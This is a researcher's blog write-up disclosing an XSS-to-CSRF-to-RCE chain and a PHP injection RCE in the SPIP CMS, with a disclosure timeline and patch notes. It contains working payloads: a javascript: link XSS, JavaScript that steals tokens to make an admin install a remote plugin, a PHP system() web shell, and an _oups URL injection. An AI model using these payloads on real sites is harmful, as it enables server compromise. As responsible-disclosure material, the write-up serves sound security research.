Introduction

Hello, I’m currently a student at ESNA and I’m passionate about web application security. This article describes the discovery of several critical vulnerabilities in the SPIP CMS and Root-Me.

With a friend (cc Abyss Watcher) we decided to search for vulnerabilities on the SPIP/Root-Me. From the first days, we managed to find some bugs, XSS, CSRF and later we will discover a RCE.

Environment

Of course we did not our research directly on root me. So we set up a local spip environment.

version: '3.5'

services:
  db:
    image: mysql:5.6
    command: --default-authentication-plugin=mysql_native_password
    environment:
        - MYSQL_ROOT_PASSWORD=root
    ports:
        - 3306:3306

  adminer:
    image: adminer
    ports:
        - 81:8080

  spip:
    image: php:8.0
    ports:
        - 80:80
    volumes:
        - ./spip:/spip
    working_dir: /spip
    entrypoint: ["bash", "-c", "apt update && apt install -y default-mysql-client && docker-php-ext-install mysqli && apt install -y libzip-dev zip && docker-php-ext-install zip && php -S 0.0.0.0:80"]
  • We have also activated the “parano” mode, this mode allows to disable the execution of javascript in the articles.
// sécuriser les scripts javascript en mode parano
$GLOBALS['filtrer_javascript'] = -1;

# Bug 1 - A simple XSS to start

After some research I managed to identify a trivial stored XSS. An author can add hyperlink with the following payload javascript:alert(document.domain), So when the user clicks on the link, the javascript will be executed.

form

It’s possible to trigger the xss at several places, on the public part of the site.

form

And on the administration interface.

form

XSS to CSRF to RCE ?

Now that we can run javascript several scenarios are possible via.

  • Create a CSRF to take over the users’ accounts.
  • Create a CSRF to elevate our privileges.
  • Create a CSRF to upload a malicious plugin

You guessed it, I chose the last option, for that we will look at a function of spip allowing an administrator to upload a plugin.

form

This function allows an administrator to upload a plugin in zip format from a remote server, the plugin will be unzip and stored at /plugins/auto/. By analyzing the upload request, we notice that two tokens are passed as parameters, fortunately for us, they do not change between two requests

form

It’s time to build our payload !

Evil plugin setup.

The function to download a plugin waits for a zip file, so we must create our plugins on our remote server.

┌──(spawnzii㉿spawnzii)-[/tmp/websrv]
└─$ echo '<?php system("id");?>' > spzrce.php  
                                                                                
┌──(spawnzii㉿spawnzii)-[/tmp/websrv]
└─$ zip spzrce.zip spzrce.php 
  adding: spzrce.php (stored 0%)

Our plugin is ready, we can place it in a listening web server.

CSRF payload construction.

On the first part we will make a request to get the tokens.

var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://localhost/ecrire/?exec=charger_plugin');
xhr.responseType = 'document';
xhr.send();
xhr.onreadystatechange = function () {
if (xhr.readyState == 4) {
  token_sign = xhr.response.getElementsByName('formulaire_action_sign')[1].value;
  token_arg = xhr.response.getElementsByName('formulaire_action_args')[1].value;
  token_sign = encodeURIComponent(token_sign);
  token_arg = encodeURIComponent(token_arg);
  }
}

Now that we have our two tokens, we can build the second request to upload a plugin.

function csrf_rce() {
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'http://localhost/ecrire/?exec=charger_plugin');
    xhr.responseType = 'document';
    xhr.send();

    xhr.onreadystatechange = function () {
        if (xhr.readyState == 4) {
            token_sign = xhr.response.getElementsByName('formulaire_action_sign')[1].value;
            token_arg = xhr.response.getElementsByName('formulaire_action_args')[1].value;
            token_sign = encodeURIComponent(token_sign);
            token_arg = encodeURIComponent(token_arg);
            var xhrr=new XMLHttpRequest();
            xhrr.open('POST', 'http://localhost/ecrire/?exec=charger_plugin', true);
            xhrr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
            xhrr.onload = function () {
                console.log(this.responseText);
            }
            xhrr.send(`var_ajax=form&exec=charger_plugin&formulaire_action=charger_plugin_archive&formulaire_action_args=${token_arg}&formulaire_action_sign=${token}&archive=http%3A%2F%2Fyourserver%2Fspzrce.zip&destination=`);
        }
    };
}

csrf_rce();

We just have to encode our payload in base64 and paste it on the hyperlink.

form

Now that our payload is ready, all we have to do is wait for an administrator to click on the link to download the plugin.

form

form

We can go to our plugin to see the result.

form

# Bug 2 - “On est bon, rien a faire” sounds like RCE

After a few xss found, we wanted to think bigger and we gave ourselves the objective to find a RCE.

A few days later Abyss watcher had the idea to watch the fix of an old vulnerability (cc Laluka).

form

What happens in the patch ?

Before the patch the _oups parameter was passed directly to the $valeurs array. Now _oups expects a serialized object encoded in base64.

form

To debug more simply we have added a print_r of the variable $valeurs. This allows us to see the result of our payload directly on the page.

It’s time for a bypass

Now what happens if we put a simple string like http://localhost/ecrire/?exec=article&id_article=1&_oups=notanobject on _oups parameter ?

form

Nothing, _oups is empty.

But now try to inject serialized object, like : TzoxOiJBIjoxOntzOjE6ImEiO3M6MzoiUG9DIjt9.

form

The string is reflected several times in the source code.

form

We can try to inject with http://localhost/ecrire/?exec=article&id_article=1&_oups=TzoxOiJBIjoxOntzOjE6ImEiO3M6MzoiUG9DIjt9'"<h1>inject here</h1>

form

Damnnn, nice we have html/XSS injection. You know what that means ???

Are you remember the Laluka’s RCE ? And if we try to reproduce the same thing. http://localhost/ecrire/?exec=article&id_article=1&_oups=TzoxOiJBIjoxOntzOjE6ImEiO3M6MzoiUG9DIjt9'"<?php system('id');?>.

form

Here we go again …

Small explanations

form

SPIP uses skeletons, a kind of html template that is used to formalise the rendering of a page. The problem here is that once the skeleton is filled in, it is passed to a function that evaluates the page (evaluer_page.php).

form

So as we inject into the skeleton (editer_lien.html), once passed into the function evaluate_page.php the php is interpreted.

Patch

This is how oops is managed after the patch. It is now base64 encoded and converted to json. form

The whole thing will be passed to the html entities function

form

Timeline

  • 2022/07/05 at 3:38 PM: XSS/CSRF was discovert and report to SPIP.

  • 2022/07/05 at 6:07 PM: First response of SPIP.

  • 2022/07/12 : New commit on spip.

  • 2022/07/12 at 1:13 AM: Declaration of the RCE to SPIP.

  • 2022/07/12 at 11:18 AM: First commit to fix the RCE.

  • 2022/07/22: New security release.

Conclusion & Thanks

It was a great experience to share our research with Abyss Watcher. We are happy to have contributed to the security of SPIP and Root-Me. Many thanks to Laluka and W0rty for proofreading this article.

form

References